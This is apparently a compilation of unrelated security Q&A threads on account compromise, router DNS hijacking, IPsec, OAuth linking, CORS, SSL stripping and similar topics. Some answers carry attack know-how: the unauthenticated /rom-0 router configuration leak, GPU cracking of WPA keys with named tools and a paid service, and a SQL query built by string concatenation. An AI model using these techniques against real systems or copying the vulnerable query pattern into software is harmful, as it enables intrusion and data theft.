How should I react to finding GMail outbox e-mails that I didn't send? This morning I found 17 e-mails in my GMail outbox that I didn't send. The e-mails were sent to seemingly random people from my GMail contacts and contained the link to a suspicious php file on fabbricadeisogni2012.it. I checked activity on my account and found SMTP activity originating from some IP in NY which apparently is responsible for sending those e-mails. I warned all the contacts that received those malicious e-mail not to follow the link.

My questions:

Has my GMail password has been stolen?
Should I or can I report this activity to Google and/or any Internet security companies, communities, or government agencies?

Yes, it is extremely likely that your gmail password has been stolen. Those emails wouldn't be in your outbox if they hadn't been sent through google's smtp servers or mail API, and Google requires your credentials to send emails servers, so unless there's an unreported bug that allowed it your account has been compromised. You need to change your password, and any other accounts that use the same or a similar password.

You should also put some thought into how your account details have been compromised, and take steps to prevent it from happening again. It could be:

bad habits: you could have shared your password, written it down where it could be seen, typed it in where it could be seen, transmitted it unencrypted, chosen an easy to crack/guess password or used the same password on another site. You should do none of those things
Your computer was compromised: if someone's cracked your computer you will need to rebuild the OS from scratch, the "nuke it from orbit" solution as favored by @Polynomial
Google account information was compromised: this is the least likely, but still possible cause. If this is the case I'd expect it to come to light.


How to prove the integrity of a digital file if certificates are not an option Certificates are a fantastic way to prove the integrity of a file - provided that they have been signed from the beginning. This methodology can prove the files authenticity, in addition proving it's source.

My question is how would you prove the integrity of a file is in tact that has not been signed? Say, for instance, someone has been given a file or even access to an email box - how, if at all, can it be proven that the file or mailbox has not been altered from it's original state?

Technically speaking, certificates don't prove the integrity of a file - hashes do.  The certificate signature is a way of proving that the hash hasn't been altered.

Therefore, the answer to your question is - you prove that a file has not been changed by taking a hash and comparing against the hash later.  In order for this to work, you need some way to authenticate that those hashes are valid.  Signing with a certificate is the standard method on a computer.  You could print them out, get a notarized signature on them, and stick them in a safe.  You could print them in a newspaper (put it in a classified ad, the difficulty of forging a newspaper and the timestamped nature of the newspaper provide authenticity).  You could email the hashes to 3 people whom you trust and ask them to provide them for comparison at a later date.


Router DNS getting automatically changed I don't know if this is the correct forum where to ask, but I didn't find anything more appropriate.

I have a TP-Link router model TD-W8951ND, and three months ago I noticed that the network was getting slower each day. I then looked at the router settings, after various reboots and i noticed it had been changed, to a service that resolves to "GhostNet GmbH".

After several PC restores, cache wipes and other sort of things, that think kept occurring. I then looked in a forum that was the ROM-0 problem, in fact every router with the ZynOS operating system, have the top page /rom-0 that can be accessed without authentication and contains the router full configuration. So, the hackers were able to get my router password from that file, and change the DNS through Telnet.

So I blocked incoming connections over telnet and HTTP from remote, changed admin password and the problem was gone for a month. Now it occurred once again but this time the DNS resolves to Edis GmbH... Any help?

That's likely caused by a classic Cross-Site Request Forgery attack from back in the day. See the image below that explains the attack. Some countermeasures:

Change the default LAN network IPv4 range and make sure the router IP is NOT 192.168.0.1 or 192.168.1.1 - make it a seemingly random one, e.g. 192.168.X.21 or something of that sort (lol @ security by obscurity).
Change your router to use an open source/third-party firmware - Tomato, OpenWRT or DD-WRT are all a great option.
If you can't use a third party firmware, get an updated version from the router manufacturer.

The problem is not related to your router being remotely accessed from the Internet (via telnet or HTTP), it's a deflection via your own web browser.


Understanding the details of SPI in IKE and IPsec I'm currently learning IKE and IPsec for an exam. I have a lot of information on how Security Parameter Indexes (SPI) are used in both protocols, but I'm having some problems figuring out the coherence.

First, in IKE, both parties share their SPI with the respective other party. I guess these will be the both SPIs used for the two Security Associations (SA), because each SA is only unidirectional, is that right?

Then, in the IPsec chapter, things start to get more complicated. Reading different sources, I have a theory how this works exactly, but I'm not sure if my theory is right. RFC 4301 says:

  SPI: An arbitrary 32-bit value that is used by a receiver to identify the SA to which an incoming packet should be bound. [...]

In IKE, each party shares an SPI with the other party. Does this mean, that the SPI a party sets is the SPI used for the incoming SA, not the outgoing one?

This would explain another question I have regarding registrating a new SA in the SA-Database (SAD)

SAD_ADD is used when IKE already knows which SPI it wants to use for an SA.
SAD_GETSPI is used to get a non-used SPI (here the SAD returns a non-used SPI, because of course it knows which SPIs are used and which aren't). Additionally it already inserts an incomplete SA. The SAD_UPDATE is then used to to set the missing SPI to the previously inserted SA.

Additionally my notes say that the initiator uses the SAD_ADD method while the responder uses SAD_GETSPI and SAD_UPDATE. This would make sense, if the responder is the one creating an SPI, and the initiator only adds this SPI to his database. This only has to be unique for him together with the responder's IP address. Is my theory right?

However I don't understand why the SAD_UPDATE method is used. For me this sounds redundant:

SAD_GETSPI: "I want to insert an SA x, which SPI can I use? Answer: Here is an unused SPI: y. Additionally, I have already inserted x in my Database, just tell me which SPI I should insert."
SAD_UPDATE: "Please update SA x, set SPI to y."

Security Parameter Indexes (SPIs) can mean different things when referring to IKE and IPsec Security Associations (SAs):

For IKE two 64-bit SPIs uniquely identify an IKE SA. With IKEv2 the IKE_SA_INIT request will only have the locally unique initiator SPI set in the IKE header, the responder SPI is zero. The responder will set that to a likewise locally unique value in its response. The two SPIs will only change when the IKE SA is rekeyed.

The two fields in the IKE header that are now called Initiator/Responder SPI were previously called Initiator/Responder Cookie in RFC 2408 (ISAKMP). This could be confusing as IKEv2 uses COOKIE notification payloads to thwart denial of service attacks.
For IPsec a 32-bit SPI semi-uniquely identifies an IPsec SA. Since these SAs are unidirectional the ESP/AH header contains only the SPI of the destination's inbound SA (unlike the IKE header which always contains both SPIs). Since the SPIs are locally unique this and the destination address is usually enough to uniquely identify an SA. But it could be problematic e.g. if two clients behind the same NAT allocate the same local SPI when they connect to the same VPN gateway. The combination of SPI and destination address would be the same on the public side of the NAT, which is why UDP encapsulation is required. The UDP ports allow the NAT to direct the inbound packets to the right client. Likewise, the gateway has to take measures to differentiate the two SAs so that the right SA is used when sending traffic to each client.

  Does this mean, that the SPI a party sets is the SPI used for the incoming SA, not the outgoing one?

Yes, each peer sends the SPI of its inbound SA to the other peer.

  Additionally my notes say that the initiator uses the SAD_ADD method while the responder uses SAD_GETSPI and SAD_UPDATE.

The process of establishing an IPsec SA using e.g. a CREATE_CHILD_SA exchange in IKEv2 could roughly be visualized like this:

Initiator                               Responder
SAD_GETSPI (inbound SA)  ----------->   {select algorithms and derive keys}
                                        SAD_ADD (outbound SA)
                                        SAD_GETSPI (inbound SA)
{derive keys}            <-----------   SAD_UPDATE (inbound SA)
SAD_UPDATE (inbound SA)
SAD_ADD (outbound SA)

The initiator sends the SPI of its inbound SA together with a proposal of cryptographic algorithms and, if perfect forward secrecy is used, its Diffie-Hellman factor, to the responder.
The responder selects suitable algorithms and derives the keys (optionally using DH) and proceeds installing the SAs.
Then it returns its inbound SPI together with the selected algorithms (and optionally its DH factor) to the initiator, which is now able to install the SAs on its side.

Additionally, the two peers exchange traffic selectors that specify the network traffic that is to be covered by the established SA.

  SAD_UPDATE: "Please update SPI x, set SPI to y."

That's not what SAD_UPDATE does. It actually does not change the SPI at all, but rather all (or some) of the other aspects of the SA, and these are mainly the encryption/integrity algorithms and keys (but may also include other things, like encapsulation or the anti-replay window size).

The reason you usually want to call SAD_GETSPI and SAD_UPDATE instead of simply SAD_ADD for inbound SAs (even on the responder, where all the information would be available) is that the SAD is usually managed by the operating system's kernel, while IKE daemons operate in userland. And therefore, calling SAD_GETSPI will ensure that the SPI is actually locally unique. Which might not be guaranteed if e.g. two IKE daemons (for IKEv1 and IKEv2) or even tools to manually manage SAs (like ip xfrm or setkey) are used concurrently on a system.

But it is imaginable that on some systems there could be a simplification that would allow a responder to call SAD_ADD without specifying an SPI, and the SAD would then allocate one, install the SA, and return the new SPI.  But that would require special handling for this particular case by the keying daemon (otherwise it could simply call SAD_ADD for outbound SAs and SAD_GETSPI/SAD_UPDATE for inbound SAs, no matter if it does so as initiator or responder).

RFC 2367 (PF_KEYv2) provides more information on these operations.


Starting a new job after working at home for years. How to best protect data, secrets, and privacy in the workplace? I have just started interviewing for new computer job after years of working from home.

At home I feel very secure with how I protect myself from data loss and keeping my secrets secure. I backup both of our computers with the awesome-four-dollar-a-month CrashPlan, and, in addition to my programming projects, I use Bitbucket to individually backup every substantial thing on my computer. This includes Firefox FEBE backup, XYplorer settings, Sublime Text settings, my website, some personal documents, and smaller-sized configuration settings for a whole bunch of other applications).

Most importantly, given the horror of malware like (the former) CryptoLocker and (current) CryptoWall, these offline backups are not connected to my computer, except during the actual backup process. I don't use Dropbox for anything except short-term document transfers. (I would be surprised if Dropbox didn't release a disconnected version at some point.)

As far as secrets, I use 1Password (which requires a master password) and AxCrypt (which uses both a passphrase and key-file) to encrypt anything even mildly private.

The most important thing I'm concerned about in the workplace, is how do I protect my master password, which I have to enter around a hundred times every day?

I'm thinking of making the 1Password timeout moderately longer, but to make it a(n absolutely infallible) habit, that every time I get up from the computer, I lock it...which also locks the 1Password vault. I also always use their "Secure login".

(I should get a string and alligator clip like they have on treadmills, that when you pull away, it auto-shuts off.)

Seriously, though, how far do you take it? Do you put a towel over your hands every time you enter it?

My other major concern is, although I want to minimize the amount of encrypted documents I have on my work machine, how do I conveniently unencrypt documents, when the key file has to be a plain-text file, but (a) I don't want to just leave the key file sitting there vulnerable, yet (b) I also don't want to have to create-use-then-destroy this document each time, either. (Both the AxCrypt passphrase and key-file text are in 1Password.)

My last major concern is my computer getting eaten alive because a coworker on the same network got tricked into installing CryptoWall. I think my backup habits generally cover this, although I'm not sure if my employer would allow me to use CrashPlan, or if I'd be forced to use something in-house, which scares me a little.

And some paranoid (?) concerns: Key-loggers, spy cameras, and tracking my online activity.

Two remaining thoughts: Do you just avoid Facebook and multi-clipboard managers (because I know of none that have built-in password protection/purging features) at work?

I would love a checklist of the most important things to be wary off, and the most important things to do/not do, to protect myself, my data, my secrets, and my online privacy when at work.

Thanks.

Firstly I think you need distinguish between personal risk and company risk. You're probably used to being responsible for all risk, but in a corporate scenario you probably won't be responsible managing risks to the company (except through applying company policy).

Personal and company risk need to be managed differently from your point of view so I'll discuss them separately.

Personal Risk

These are risks to your personal data and accounts when accessing them through company resources. For example: Your Facebook password being compromised by an onlooking co-worker, your personal cloud storage being compromised by malware on the corporate network, etc.

The thing is that you can't be certain of the integrity of a company owned machine. You cannot rule out that the company isn't running key-logging software for monitoring purposes or that they haven't installed their own CA certificate so they can monitor HTTPS traffic. Even if it's not company policy to do these things chances are that someone besides you will have administrator access on your machine and therefore a rogue employee could potentially be a threat. Someone else having root/administrator access means they could change just about any aspect of the system and hide almost any indication of their changes.

Under that scenario you should treat your workstation like any other system which could be a threat to your personal accounts, therefore:

Use different master keys and passwords at work and for work accounts
Avoid accessing especially sensitive personal accounts at work
Separate your work and personal accounts, avoid registering company email addresses as recovery addresses, etc.
If you need to access a personal account while at work then use a personal device instead

Personally, while my workplace doesn't have an issue with accessing personal accounts like Facebook or email from work I generally avoid it. Instead I just use my phone (which isn't company owned) over 3G. If there's something I want to access from my workstation which doesn't pose a significant risk (eg. a link I saved in my personal inbox) I'll just forward it to my work email from my phone.

Company Risk

Risks to company resources, for example cryptolockers, data loss, work accounts, work passwords, etc.

Generally this probably isn't your responsibility. Your company should have policies in place which consider these threats relative to the cost of mitigating them and you should apply these policies as required.

Going beyond the company mandated policies at your discretion is probably okay but keep in mind there will be some scenarios that this won't be okay, for example:

Taking your own backups of important/valuable company data might be seen as suspicious
Some precautions might be deliberately forgone because it has been determined that the cost (eg. to productivity) outweighs the risk it mitigates
Introducing your own software (eg. 1Password) might create risks which haven't been considered by your company even if they are intended to increase security

TLDR; Keep your personal accounts/data separate from work and follow your company information security policies.


Get WPA-Passphrase from HEX key and SSID? Using this as an example for WPA key calculation (link):

Network SSID:   linksys54gh
WPA passphrase: radiustest
Hexadecimal key:    9e9988bde2cba74395c0289ffda07bc41ffa889a3309237a2240c934bcdc7ddb

I get a hexadecimal key.

I would like to know if there is a possibility to obtain the WPA passphrase by knowing the hexadecimal key and SSID only.

So let's assume I have this:

Network SSID:tomato
Hexadecimal key:    e3c60cdcb07f9b73c5998f02746510b9065be13765a24ca66b5b0f379aba2b08

How can I obtain the WPA passphrase by knowing the hex Key / SSID? Is it even possible?

The details of the calculation for obtaining the key are described in the link you mentioned:

  For WPA-PSK encryption, the binary key is derived from the passphrase
  according to the following formula:

  Key = PBKDF2(passphrase, ssid, 4096, 256) The function PBKDF2 is a
  standardized method to derive a key from a passphrase. It is specified
  in RFC2898 with a clear explanation on how to compute it. The function
  needs an underlying pseudorandom function. In the case of WPA, the
  underlying function is HMAC-SHA1.

PBKDF2 is a key derivation function that uses a hashing algorithm that servers two purposes. One is to make the process of obtaining the inputs of the function very difficult, and the second to make slow down the brute-forcing process.

To my knowledge, there is no published research that would recover the passphrase from the PBKDF2 output in a reasonable time. Your only option is to brute-force it, that means trying every possible passphrase and applying the process you mentioned and seeing if the output matches your key. There is special hardware, software and even services to make this process faster.

oclHashcat and Pyrit will bruteforce WPA and will use GPUs to make the process faster.

CloudCracker service will try 300 million words in 20 minutes for $17 on your keys.


How to speed up slow TLS handshake on ESP8266 running mbed TLS? I'm developing a system consisting of a mobile application and an embedded device that talk to each other. I'm using mbed TLS (formerly known as Polar SSL).
The problem is that the embedded device performs the TLS handshake in about 7 seconds, which is too much for our use case.

Better MCU necessary? Changing the MCU (ESP8266) for a more powerful one is the obvious solution. However, could the TLS handshake also be speded up without changing the MCU?

Caching maybe? I read about session caching, how much would this speed things up? I have to assume that a device will be controlled by multiple users, so various sessions would need to be cached. I can't waste memory.

Authentication is not a problem, I'm using 1024 RSA. Could other algorithms (such as Diffie-Hellman or ECC) speed things up?
Handshake breakdown
Edit:
Step by step handshake times:
    . Performing the SSL/TLS handshake:
hello request...0ms
client hello...30ms
server hello...0ms
server cert...0ms
server key exchange...4490ms
cert request...0ms
server hello done...0ms
client cert...0ms
client key exchange...3310ms
verify cert...0ms
client change cipher spec...0ms
client finished...10ms
server change cipher spec...0ms
server finished...0ms
flush buffers...0ms
hs wrapup...0ms
-------------------------------------------
-----------------hs done!------------------
-------------------------------------------
total: 7861

The main bottleneck is on the key exchange, where the asymetric crypto is done.

Use rsa key exchange, it is by far the fastest method. This way it only has to compute the client key exchange, avoiding server key exchange calculations. Furthermore you can control client key exchange time by changing the cert size.


How to handle OAuth2 registration where email address already exists as user account? I'm building an OAuth2 workflow that spans website and mobile apps.

I need to know if the following workflow is secure, where an OAuth2 registration is completed, but it is then found that the email address of the authenticated user already exists in the application database.

Currently in our application logic if the OAuth2 user already exists in the database, the OAuth2 account ID (e.g. Google or Facebook) is simply assigned to the user table in the database and access to the account is granted.

I have been concerned that this is potentially insecure, but thinking it through I think it may actually be OK, having considered the following:

We have verified the user email account ourselves previously on non-OAuth2 user registration, so we know that this email account belongs to our user.
Since comms is server to server for retrieving the OAuth2 account email, the OAuth2 provider cannot be tricked into returning a different email address, providing the same request URL is used.
Facebook requires email address verification on sign up, and Google is the email account provider and does not allow for change of email address. So we know that the OAuth2 provider has verified ownership of the email address.

I have seen one app that requests that the user enter their account password if you sign in with OAuth2 but already have an account with the same email, but this must be pointless, as if an attacker were able to get past the authentication UI for the OAuth2 provider, then they also presumably have access to the email account (definitely in the case of Google) and so could obtain a password reset email easily anyway.

What I want to avoid doing is granting access to a user account to an attacker because they have presented an OAuth2 ID with the same email address.

Can you see any flaws in my assumptions above?

I'm doing the exact same thing, but with an identity provider where we indirectly control who creates an account, and with which mail address.

I can't see any faults in your thinking, but I'd still be uncomfortable.

You're trusting an external entity to vet your users for you. I'm aware that's the basic premise of oauth/openid connect, but you're trusting that the verification process stays the same as it is now. Do you have something in place to notify you when it changes?
Edge case: One user closes a facebook/google account, another one registers the same mail address.
Make sure you document the process by which Identity Providers must be chosen (eg that you shouldn't allow providers that don't verify). The people who know this is a cornerstone of your security model might move to other projects, and people who don't realize the consequences might want to add more IdPs in the future.

I thought about a different solution where I'd send my users an URL with a long, random element in it (like a password reset link) and when they hit it, I'd require them to sign in using oauth. This way, I'd know for sure who they were, because it was me sending them the URL link to a mail address I had verified. You could send that mail on first login attempt, so it would look exactly like a password reset, minus the actual entry of a new password - user must enter his mail address, you check whether it exists in your database and send him the login link, which will link his id token subject identifier to the correct user account.


Is SQL Injection possible in String Concatenation When all Variables are created by the Program Say I have a program that returns some date strings from a function in javascript.

function getDates()
{
    var yesterday = [some code that gets current time with yesterday's date];
    var today = [some code that gets today's time and date];
    return [yesterday.toSomeDBStorageStringFormat, today.toSomeDBStorageStringFormat];
}

Then, say that I get these values and plug them into a SQL statement.

function calledByUserViaWebAPI()
{
    var dates = getDates();
    var response = queryDB('SELECT * FROM Table T WHERE T.Date BETWEEN ' + dates[0] + ' AND ' + dates[1] + ';');
    return response;
}

Is this SQL query in any way vulnerable? Say that a user calls the calledByUserViaWebAPI function.

Is it currently vulnerable? No.

Should you change it anyway? Probably

If you are putting variables in an SQL query then you should use prepared queries. They make almost no impact on your code base and usually have only a tiny impact on performance. As a result, the cost of using prepared queries is small. Obviously you would ask "But there is no vulnerability here so why should I take the time to change it?". The answer is simple: you never know how your code will change later

What if down the road management decides they want to let users select the date range themselves? A hurried programmer updates the getDates method to return the input from the user and performs no validation on it (the programmer is in a rush after all, and doesn't think to check everywhere and see how the return value is used).

Now you do have an SQL vulnerability. It may seem like a stretch, but many security weaknesses happen as a result of small incremental code changes where someone coming in later no longer remembers the full context of the code in question. As a result, my rule of thumb is that as long as the prepared query is easy to put in with minimal performance issues then use prepared queries for your variables  even if it (currently) seems unnecessary.

Also, I think it is better to be in the habit of using prepared queries and only skipping them after careful consideration, rather than being in the habit of skipping prepared queries and only using them after careful consideration. The later habit will generate many more security problems.


In a 3 tier (or more) PKI, is it permissible that a Name Constraint only be defined on the middle tier? I'm working with an Issuing CA that doesn't support name constraints that are defined at a higher level.

Assuming that it issues certificates that are compliant with the Name Constraints that are defined, would this be an issue with clients that validate the chain?

I wouldn't guarantee that everyone does it right, but the entire certificate chain up to a trusted root should be validated to be valid for the certificate name.  As long as the only certs generated are valid, it should be ok, but if an intermediate CA signs something it isn't authorized to sign, then the validation should fail as the intermediate CA isn't trusted to perform that signature.


key usage attributes and enhanced key usage attributes overwritten with CA template properties I have generated a csr with key usage attributes and enhanced key usage attribute but when we sign with the computer template in Microsoft CA, it overwrites the attributes in the CSR, how do i maintain the attributes in csr while signing via microsoft CA ?

As Crypt32 mentioned in the comments, the enhanced key usage as well as other certificate attributes need to be configured in a template on the Microsoft CA server for a particular signing certificate.

By design, the CA will ignore attributes and extension that are not configured for a template.

Here is a thread on a similar topic for reference. An extract of the key point is listed below.

  ...The Web Server certificate template has a specific Key Usage
  configured, and you cannot override it during a request. As stated
  earlier, someone with privileges in the network will have to duplicate
  the Web server certificate template, and set the Key Usage that you
  wish. In addition, permissions must be set to allow either you or the
  computer account (you are not clear on where this is going) the Read
  and Enroll permissions.


how is my ISP able to inject into this webpage? Lately I've noticed that pages I go to on http sometimes have a large banner at the top from my ISP. What's weird is when I refresh the pages I get the https version of the site and the banner is not there. I try to type the http version into the address bar but when I click enter I get the https version. The network tab in developer tools shows 301 moved permanently when putting in the http version and then I get redirected the https version.

So I'm a bit surprised by how I get this banner. How is the ISP able to inject the banner + display the original site underneath the banner? See below screenshot. I would have assumed that the fact the page was redirected to https, that an ISP wouldn't be able to display the page with a banner? What's going on here?

Note: My dns defaults to 1.1.1.1 and 1.0.0.1 (both cloudflare)

Your screenshot shows an HTTP ("Not Secure") page, not HTTPS. Your ISP essentially pulled an "SSL Stripping" attack on you; they blocked you from getting the redirect, fetched the HTTPS version of the site themselves, slapped their own content on top of the retrieved HTML, and then returned the modified HTML to you in response to your original HTTP request. They also stored (either on their side or in a browser cookie on yours) the fact that you'd seen the banner, so future requests to that site got redirected to HTTPS without any content being injected.
Remember, your ISP controls everything going between your computer and the Internet. If the connection is already encrypted (HTTPS), there's less they can do (they can cut the connection, they can probably tell what site you're requesting, they can tell how long your request and response are, they can try to spoof the server and hope you click through the certificate error message), but on an unencrypted connection they can do whatever they want. Modify the response, suppress parts of the response, add their own content, redirect you, prevent a redirect, outright impersonate the server...
Also, DNS requests and responses are (usually) sent unsecured. The ISP can do whatever they like there, too. It doesn't matter what server you send your DNS request to; if it's on the Internet, your ISP can see and tamper with it.
Bear in mind, all of the above also applies to a local network attacker (somebody on the same LAN as you, possibly at a business, home, or public WiFi) if they can get a man-in-the-middle position (and it's usually easy).


Measuring SNR to detect jammers in Wi-Fi networks I'm trying to figure out a way to detect a Wi-Fi 2.4 GHz signal Jammer. I am not looking into
locating the location of the jammer but rather detect the jamming signal. How do i do so using
only wireless adapters?
How can i measure SNR, wouldn't that help?

If you just like to detect those jammers - SNR can be measured with tools like kismet, netstumbler, vistumbler.

But keep in mind:

Other WiFi channels will be in your SNR analysis.
A jammer is not the only way to take down a wifi network ;-)


Is it possible to have different machines for the same domain, with different certs? We have two machines that serves a website via HTTP. The webiste/domain has two "A" records, that is how the load is round-robinly distributed.

We want to have HTTPS for this website. The problem is that, the different machines that hosts this website are maintained by different people. Is there any method to have an HTTPS cert on both machines for one domain? Does Letsencrypt support this setup?

Any trick/method to harden this setup? E.g. if one machine is compromised, the other shouldn't be. So if the cert is stolen from one, any prevention for the domain for wrong use? Maybe PFS could help?

Can one domain have multiple servers controlled by different entities

Yes, but there will need to be some coordination for getting the SSL certificates

How can the coordination work (depends on the ACME challenge used)

HTTP

Working together

Whenever one of the 2 hosts wants to renew a cert they would need to deploy a .well_known file to both servers, so that no matter which one letsencrypt access they get the right file.
Centralised

You can run an additional server, which both parties can push files to, and have both servers redirect any requests for .well_known to this server

DNS

Full access

Either of the 2 hosts would need to be able to add DNS records to pass the checks
Custom API

An API can be setup so that the 2 hosts can submit an ACME response and have it served

Limiting impact of breaches

As the servers need to be able to generate SSL certificates if they are breached they will be able to generate certs.

Using Must-Staple the impact of current certs leaking can be reduced, but this will not help if the host is instructed to make new certs without this after generation.

Using CT logs you can watch for invalid certs, and using CAA you can limit which CAs will issue certs, which will help reduce the breach impact.

You could even use CAA to disable certs entirely, and only allow issuance by contacting you and manually removing the record until the cert has been issued, reducing your attack window, but increasing the management overhead.


Storing salt and hashed password Is there a benefit to storing salt appended to hashed password in a single column of a table verses storing salt and hashed password in different columns of the table. The OWASP guide here https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet says 'Store the protected form appended to the salt as follows'

[protected form] = [salt] + protect([protection func], [salt] + [credential]);

Thanks

No. There's no difference between appending them in a single field or using different fields in the db. Use whatever you find simpler in your code or more consistent with your style. Conceptually, you may prefer to treat them as two different entities, while often you simply treat that field as a black box than only some inner functions use (and know how to split). It really doesn't matter the way you choose.


Why are phishing attempts so obvious? I understand that regular e-mail scams are dumb on purpose, to filter out smart people and make the processing of the replies easier.

But phishing is based on tricking people into thinking their bank (for instance) is talking to them. Yet almost every phishing e-mail I've ever seen is always visibly fake and poorly made. Why don't they just copy the bank's existing email/website template?

The accepted answer here mentions that

  In phishing, as in scams, sending the initial batch of emails is the
  easy part. The hard part is coaxing information out of the target
  (which can require a concerted exchange of emails).

But why? Isn't phishing specifically about obtaining credentials? Why would that require a manual exchange of emails?

This may just be a psychological fallacy in which you only notice the phishing attempts that don't trick you. There are certainly phishing attempts that are near exact copies of the site they are impersonating that trained security experts can (and do) fall for when not alert.

Malwarebytes posted this on their blog, which contains some side-by-side images of phishing login pages next to the site they're impersonating.

As you can see they're similar to the point of being indistinguishable unless you're looking at them side-by-side like this. You're right in that many phishing emails/sites are poorly done - this is generally because it is time intensive to make something a near match, and wouldn't result in as significant an increase in successful phishes as you may think. Overall, for many low-lever phishers the cost outweighs the reward.


Passive and active attacks via X11. Is Wayland any better? In The Linux Security Circus: On GUI isolation - The Invisible Things Lab's blog, Joanna Rutkowska describes attacks from one X11 app on another and the general problem of the lack of GUI-level isolation, and how it essentially nullifies all the desktop security.

  One application can sniff or inject keystrokes to another one, can take snapshots of the screen occupied by windows belonging to another one, etc.

The bit about how the X11 security model has changed over time and doesn't fit well with Linux was interesting. She pitches Qubes OS (Beta 1) as a secure alternative.

My questions:

Can passive (snooping) attacks be avoided?  The passive attack she describes certainly works on my system, though I note that one of the comments says gksudo input can't be snooped.
Can active attacks  (injecting keystrokes) be avoided?  I seem to recall that active attacks was turned of by default a long time ago.  But a quick google suggests that the XTest extension nullifies that (How to map a key-combination to a keyboard-button?).
Most Linux distros are moving to Wayland as a replacement for X11.  Does it provide for good isolation between apps?

Is there hope for security on the desktop?  :)

Basically any process which can successfully connect to a X11 server has full access to what occurs on that server. The X11 security model assumes that attackers are rejected at connection time. The usual security system is that clients must send a specific "magic cookie" as part of their first message, the cookie being a random blob which is created when the server launches or as part of the login procedure; the cookie is also copied to a location which is accessible only to the "allowed" applications. On Unix-like systems, the cookie is traditionally in the $HOME/.Xauthority file, but may be elsewhere (on my recent Linux system, it seems to be somewhere in a sub-directory of /var/run/gdm/), the point being that the file is readable only to a single Unix user. When forwarding X11 connections, SSH uses the xauth command to transparently transport the current cookie from the client to the server (so that applications launched on the remote host can send the cookie when they connect back).

So there is isolation with X11 -- but it is between users (as controlled by the OS), not between applications executed on behalf of the same user.

In older times, the magic cookies were not very common, hence some applications (notably xterm) included countermeasures such as refusing synthetic events (i.e. events resulting from a XSendEvent() called, as opposed to events coming from the hardware). Such measures were before many of the extensions which have grown on the X11 protocol over years, such as XTest, which make them mostly obsolete and useless.

Qubes is an operating system which builds on Xen to isolate some applications from each other -- each VM having its own exclusive display, with no possible interactions with the X11 servers from other VM. I have trouble reading "Beta 1" and "secure" in the same sentence, though...

For the X11 part, the same kind of isolation has existed for many years as Xnest (with an updated successor called Xephyr): you run the potentially evil application under a specific, isolated user ID, and let it connect only to a Xephyr instance which itself connects to the main X11 server as if it was a simple application. To evade that isolation, the application should hijack Xephyr (e.g. through a buffer overflow). The Qubes solution is only more thorough in that it replaces the Unix basic isolation ("distinct user ID") with a much more massive VM layer.

Wayland does not seem to advertise anything about isolation so it is a safe bet that it does nothing in that respect. Also, Wayland tries to give almost-direct hardware access to applications when possible, so any security model in that situation would be relative to how the undocumented 3D hardware and closed-source driver collaborate to avoid a misplaced DMA transfer to gain extra rights -- this does not look like the best way to build security.


Ssl certificate rekey or revoke I want to be sure to understand well the situation where SSL certificate is compromised.

If I ask for a rekey, I suppose the old certificate will remain valid.
The future communications with the new certificate will be valid but I will have potentially pishing problems.

The best IMHO is to revoke the certificate and use a new instead.

Thanks for advices

"Rekey" is a term which is usually employed when obtaining a new certificate: it means that you want the new certificate to use a newly generated key pair, instead of reusing the same public key as was in a previous certificate.

"Revocation" is the act of declaring, on the CA side, that a given certificate should no longer be considered as valid (it is a bit like having the certificate expire earlier than its nominal expiry date). When a certificate is revoked, its serial number appears in the CRL published by the CA (that's how the rest of the World is made aware of the revocation).

The two actions are mostly orthogonal to each other, but there are situations where you want both. In particular, if your private key was stolen:

You need to have the certificate revoked. Key compromise is the main reason why we need a revocation system. This should prevent usage of the stolen key to power a fake server (that is, assuming that the client browsers obtain and honour revocation information, which is a rather bold assumption).
Since the certificate was revoked, you can no longer use it for your own server (it blocks you and the thief alike), so you probably need a new certificate. And since the old key was stolen, you will want a new one, so that's a "rekey" situation as well.

Some CA will automatically trigger revocation when you ask for a new certificate with a new key pair; some other will not. Some will talk about the old certificate being "deactivated" which may be the same as "revocation", or could be something else (e.g. something like an account close on their side), depending on how much they abuse terminology. Any decent CA ought to have a specific procedure for key compromise which will do things correctly.


Does Wordpress REST API with CORS enabled represent a security risk? After a security inspection of a site running Wordpress with a REST API, the scanner flagged the route /wp-json/ as a vulnerability due to a very flexible CORS policy that allows third parties to interact with the service. However, I can not find a concrete source of sensitive information that could be stolen without requiring more information from the victim. For example, the Wordpress REST API offers several ways to authenticate users, so I thought maybe one of them would be vulnerable.

Cookie based authentication. It seems to be useful only for themes and plugins and the user needs to provide a nonce to have access to the resources.
Basic Authentication. It requires a base 64 encoded header with the user credentials.
oAuth. It needs to be configured by providing tokens to clients and registering those clients in the main service and I think you need to provide this token in every request.

If you have other ideas or corrections, please let me know.

Is there some security risk in having a REST API with CORS enabled?

UPDATE:

As an additional clarification, in this particular case, the Access-Control-Allow-Origin: * restrictions are programatically bypassed by setting Access-Control-Allow-Origin header based on the Origin header from the request. Usually, this would be enough to have concerns, but in this case, I'm not sure if the authentication mechanisms offered by the REST API are enough to protect against CORS-related vulnerabilities.

CORS is a commonly misunderstood mechanism and even some security scanners get it wrong.  For example some will flag Access-Control-Allow-Origin: * as a serious concern, without realising that the browser won't send credentials (e.g. cookies) with the request (you can't combine that wildcard value with Access-Control-Allow-Credentials: true).

That's the most common case, hard to say if that's what's been reported in your case without the details of your CORS policy.

The main risk I can think of, of having a REST API with CORS would be if an untrusted origin was listed in ACAO, you had ACAC: true set and a user visited the untrusted origin whilst authenticated to the site and a request was passed with their cookie(s) to the site allowing for protected content to be retrieved, as you can see a fairly convoluted setup.

If you want more information on CORS, I'd recommend reading this and this.  Also worth noting that Wordpress's REST API may have some security concerns for example, retrieval of valid usernames without authentication


Security and thumb drive If my laptop is locked, can a thumb drive be able to still infect my computer, or create a backdoor, or any other security risk if it's plugged into it. If so what are some example

Well technically yes, once somebody has a physical access virtually anything is possible. An example might be that you are running old version of windows with autoplay still on by default. Somebody then simply inserts the thumb drive with malicious autoplay data and there goes your security even though the computer is locked.


Is it "standard" to SMS passwords? When I get credentials for a new machine, my company will often send the login id in email, then SMS (or sometimes Skype msg) the password.  This is obviously in order to separate the login and password into separate channels under the assumption that it would be very unlikely that an eavesdropper would be sniffing both.

Is this a standard security practice, or something they just made up?

it's fairly standard to separate the username and password into multiple instances or (better) multiple forms of communication. Some send two separate emails (lol), some send an email and a phone call for the password, you'll find all sorts of methods for separating these. But a couple things should be kept in mind.

1) any password written anywhere or sent via any method in plaintext should be assumed compromised.
2) you can help mitigate #1 by sending a temporary password, requiring the user change it on first login, else expiring in 24 hours or such

while I would follow common sense while conveying passwords, I think the end user is the highest point of risk, not the act of getting it to them.

